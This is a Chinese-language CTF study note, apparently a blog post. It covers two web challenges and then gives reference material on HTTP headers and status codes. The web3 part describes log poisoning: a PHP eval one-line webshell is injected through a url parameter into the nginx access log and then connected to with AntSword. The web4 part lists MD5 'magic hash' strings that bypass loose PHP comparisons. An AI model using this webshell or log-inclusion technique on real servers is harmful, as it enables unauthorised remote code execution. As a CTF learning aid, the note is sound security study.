Web知识的总结

web3

1、传入参数发现能够访问/var/log/nginx/access.log日志文件,所以url参数传入一句话木马,访问该文件发现传入成功,蚁剑连接。

2、?url=/var/log/nginx/access.log

3、?url=<?php @eval($_POST['attack']);?>

web4: 1、ctype_alpha()函数:判断是否为纯字符串。

4、数字和字符md5相等的条件:

考点:MD5碰撞绕过。

纯数字和纯字符串md5碰撞: v1=QNKCDZO v2=240610708

MD5值 md5("s1885207154a") => 0e509367213418206700842008763514 md5("s1836677006a") => 0e481036490867661113260034900752

拓展:

双MD5值绕过:

MD5值

md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea

md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f

MD5大全

CbDLytmyGm2xQyaLNhWn

md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18

md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af

770hQgrBOjrcqftrlaZk

md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625

md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064

7r4lGXCH2Ksu2JNT3BYM

md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849

md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020

240610708

0e462097431906509019562988736854

314282422

0e990995504821699494520356953734

571579406

0e972379832854295224118025748221

903251147

0e174510503823932942361353209384

1110242161

0e435874558488625891324861198103

1320830526

0e912095958985483346995414060832

1586264293

0e622743671155995737639662718498

2302756269

0e250566888497473798724426794462

2427435592

0e067696952328669732475498472343

2653531602

0e877487522341544758028810610885

3293867441

0e471001201303602543921144570260

3295421201

0e703870333002232681239618856220

3465814713

0e258631645650999664521705537122

3524854780

0e507419062489887827087815735195

3908336290

0e807624498959190415881248245271

4011627063

0e485805687034439905938362701775

4775635065

0e998212089946640967599450361168

4790555361

0e643442214660994430134492464512

5432453531

0e512318699085881630861890526097

5579679820

0e877622011730221803461740184915

5585393579

0e664357355382305805992765337023

6376552501

0e165886706997482187870215578015

7124129977

0e500007361044747804682122060876

7197546197

0e915188576072469101457315675502

7656486157

0e451569119711843337267091732412

QLTHNDT

0e405967825401955372549139051580

QNKCDZO

0e830400451993494058024219903391

EEIZDOI

0e782601363539291779881938479162

TUFEPMC

0e839407194569345277863905212547

UTIPEZQ

0e382098788231234954670291303879

UYXFLOI

0e552539585246568817348686838809

IHKFRNS

0e256160682445802696926137988570

PJNPDWY

0e291529052894702774557631701704

ABJIHVY

0e755264355178451322893275696586

DQWRASX

0e742373665639232907775599582643

DYAXWCA

0e424759758842488633464374063001

GEGHBXL

0e248776895502908863709684713578

GGHMVOE

0e362766013028313274586933780773

GZECLQZ

0e537612333747236407713628225676

NWWKITQ

0e763082070976038347657360817689

NOOPCJF

0e818888003657176127862245791911

MAUXXQC

0e478478466848439040434801845361

MMHUWUV

0e701732711630150438129209816536

BP抓包相应http头文件信息:

在HTTP请求或响应的头部信息中,邮箱地址通常不会直接出现,除非是通过自定义的头部或者应用级别的头部来传递。通常情况下,邮箱地址可以通过以下几种方式出现在HTTP请求或响应中:

邮箱:

自定义头部字段:

如果开发者需要传递用户的邮箱地址,可能会在请求或响应的头部中添加一个自定义字段

例如:

X-User-Email: user@example.com

表单数据或查询参数:

在POST请求的表单数据或GET请求的查询参数中传递邮箱信息:

GET请求:

GET /api/user?email=user@example.com HTTP/1.1

POST请求(内容在请求体中而非头部):

POST /login HTTP/1.1

Content-Type: application/x-www-form-urlencoded

email=user@example.com&password=12345

From头部字段(极少使用):

HTTP协议中有一个标准的From头部字段,可以包含请求发送者的电子邮箱地址。不过这个字段极少见,一般不会在现代的Web应用中使用:

From: user@example.com

需要注意的是,通常情况下,敏感信息(如电子邮件地址)不会直接暴露在HTTP头部中,以避免安全风险。邮箱地址更常见的是在请求的body(比如在POST请求中)或通过加密的方式传输(如在HTTPS下的表单提交)。

代理:

在HTTP请求或响应的头部信息中,涉及代理服务器相关的信息通常会包含在以下几个头部字段中。这些头部字段可以揭示客户端、代理服务器或负载均衡器之间的通信情况:

  1. Via 头部字段

Via头部用于表示请求经过的中间代理服务器或网关,能够展示代理服务器的相关信息。每个代理服务器都会在该字段中添加自己的信息。

示例:

Via: 1.1 proxy1.example.com, 1.1 proxy2.example.com

  1. X-Forwarded-For 头部字段

X-Forwarded-For 是一个常见的非标准头部,主要用于追踪客户端的真实IP地址。它记录了请求经过代理服务器或负载均衡器时,客户端的源IP地址。多个代理服务器可以以逗号分隔的方式将IP地址依次添加。

示例:

X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178

  1. X-Forwarded-Host 头部字段

X-Forwarded-Host 头部字段记录客户端在HTTP请求中原始的Host头部(即原始服务器的域名或IP地址),它在代理服务器的请求转发过程中不会改变。

示例:

X-Forwarded-Host: www.example.com

  1. X-Forwarded-Proto 头部字段

X-Forwarded-Proto 用于指示客户端与代理服务器之间使用的协议(HTTP或HTTPS),通常在负载均衡器或反向代理的场景下使用。

示例:

X-Forwarded-Proto: https

  1. Forwarded 头部字段

Forwarded 是一个标准化的头部字段,用于替代X-Forwarded-*系列头部,能够包含有关客户端、代理服务器的信息,包括原始IP地址、协议、主机等。

示例:

Forwarded: for=203.0.113.195; proto=http; host=www.example.com

  1. Client-IP 头部字段

Client-IP 是另一个非标准头部字段,有时用于记录客户端的真实IP地址,尤其在一些代理服务器配置中可能会见到。

示例:

Client-IP: 203.0.113.195

HTTP 头部解释

  1. Accept:告诉WEB服务器自己接受什么介质类型,*/* 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。

  1. Accept-Charset: 浏览器申明自己接收的字符集

Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法 (gzip,deflate)

Accept-Language::浏览器申明自己接收的语言语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk等等。

  1. Accept-Ranges:WEB服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。

  1. Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。

  1. Authorization:当客户端接收到来自WEB服务器的 WWW-Authenticate 响应时,该头部来回应自己的身份验证信息给WEB服务器。

  1. Cache-Control:请求:no-cache(不要缓存的实体,要求现在从WEB服务器去取)

max-age:(只接受 Age 值小于 max-age 值,并且没有过期的对象)

max-stale:(可以接受过去的对象,但是过期时间必须小于

max-stale 值)

min-fresh:(接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象)

响应:public(可以用 Cached 内容回应任何用户)

private(只能用缓存内容回应先前请求该内容的那个用户)

no-cache(可以缓存,但是只有在跟WEB服务器验证了其有效后,才能返回给客户端)

max-age:(本响应包含的对象的过期时间)

ALL: no-store(不允许缓存)

  1. Connection:请求:close(告诉WEB服务器或者代理服务器,在完成本次请求的响应

后,断开连接,不要等待本次连接的后续请求了)。keepalive(告诉WEB服务器或者代理服务器,在完成本次请求的

响应后,保持连接,等待本次连接的后续请求)。响应:close(连接已经关闭)。

keepalive(连接保持着,在等待本次连接的后续请求)。

Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。

例如:Keep-Alive:300

  1. Content-Encoding:WEB服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。

例如:Content-Encoding:gzip

Content-Language:WEB 服务器告诉浏览器自己响应的对象的语言。

Content-Length: WEB 服务器告诉浏览器自己响应的对象的长度。

例如:Content-Length: 26012

Content-Range: WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。

例如:Content-Range: bytes 21010-47021/47022

Content-Type: WEB 服务器告诉浏览器自己响应的对象的类型。

例如:Content-Type:application/xml

  1. ETag:就是一个对象(比如URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其 Etag 也会别修改, 所以,ETag的作用跟 Last-Modified的作用差不多,主要供WEB服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其 ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给WEB服务器,然后WEB服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。

  1. Expired:WEB服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟WEB服务器验证了其有效性后,才能用来响应客户请求。是 HTTP/1.0 的头部。

例如:Expires:Sat, 23 May 2009 10:02:12 GMT

  1. Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。

例如:Host:rss.sina.com.cn

  1. If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。

If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。

  1. If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码304,告诉浏览器该对象没有修改。

例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT

If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。

  1. If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的ETag或者自己所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一起使用。

  1. Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。

例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT

  1. Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。

例如:Location:

http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif

  1. Pramga:主要使用 Pramga: no-cache,相当于 Cache-Control: no-cache。

例如:Pragma:no-cache

  1. Proxy-Authenticate: 代理服务器响应浏览器,要求其提供代理身份验证信息。

Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。

  1. Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。

例如:Range: bytes=1173546-

  1. Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中的网址/URL。

例如:Referer:http://www.sina.com/

  1. Server: WEB 服务器表明自己是什么软件及版本等信息。

例如:Server:Apache/2.0.61 (Unix)

  1. User-Agent: 浏览器表明自己的身份(是哪种浏览器)。

例如:User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN;

rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14

  1. Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。

例如:Transfer-Encoding: chunked

  1. Vary: WEB服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。

假如源WEB服务器在接到第一个请求消息时,其响应消息的头部为:

Content-Encoding: gzip; Vary: Content-Encoding 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己Cache里面压缩后的实体响应给不具备解压能力的浏览器。

例如:Vary:Accept-Encoding

  1. Via: 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。

当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via

头部,并把自己的相关信息加到后面, 以此类推,当OCS收到最后一个代理服务器的请求时,检查 Via 头部,就知道该请求所经过的路由。

例如:Via:1.0 236-81.D07071953.sina.com.cn:80 (squid/2.6.STABLE13)

响应码及其含义:

100 继续

101 分组交换协

200 OK

201 被创建

202 被采纳

203 非授权信息

204 无内容

205 重置内容

206 部分内容

300 多选项

301 永久地传送

302 找到

303 参见其他

304 未改动

305 使用代理

307 暂时重定向

400 错误请求

401 未授权

402 要求付费

403 禁止

404 未找到

405 不允许的方法

406 不被采纳

407 要求代理授权

408 请求超时

409 冲突

410 过期的

411 要求的长度

412 前提不成立

413 请求实例太大

414 请求URI太大

415 不支持的媒体类型

416 无法满足的请求范围

417 失败的预期

500 内部服务器错误

501 未被使用

502 网关错误

503 不可用的服务

504 网关超时

505 HTTP版本未被支持

相关推荐
加菲猫86014 小时前
pikachu之 unsafe upfileupload (不安全的文件上传漏洞)
安全·web安全·文件上传
诗人不说梦^19 小时前
[SWPUCTF 2018]SimplePHP
web·ctf
Xasxxs21 小时前
【网络安全】WAF Bypass——长亭雷池、安全狗下的SQL绕过
数据库·sql·安全·web安全·网络安全·php
墨染 殇雪1 天前
web安全-XSS注入
前端·web安全·xss·跨站脚本
网络安全大学堂1 天前
【网络安全入门基础教程】网络安全就业方向(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·网络安全·程序员·编程
Chen--Xing1 天前
宁波市第八届网络安全大赛 -- Crypto -- WriteUp
ctf·crypto·宁波市第八届网络安全大赛
数据猿1 天前
网络安全运营迈向AI时代 战场天平将被如何重塑?
人工智能·安全·web安全
clover_pro1 天前
扩展中国剩余定理脚本(恢复密文c)
学习·ctf
Mogu_cloud1 天前
宽带有丢包,重传高的情况怎么优化
linux·服务器·网络·web安全·智能路由器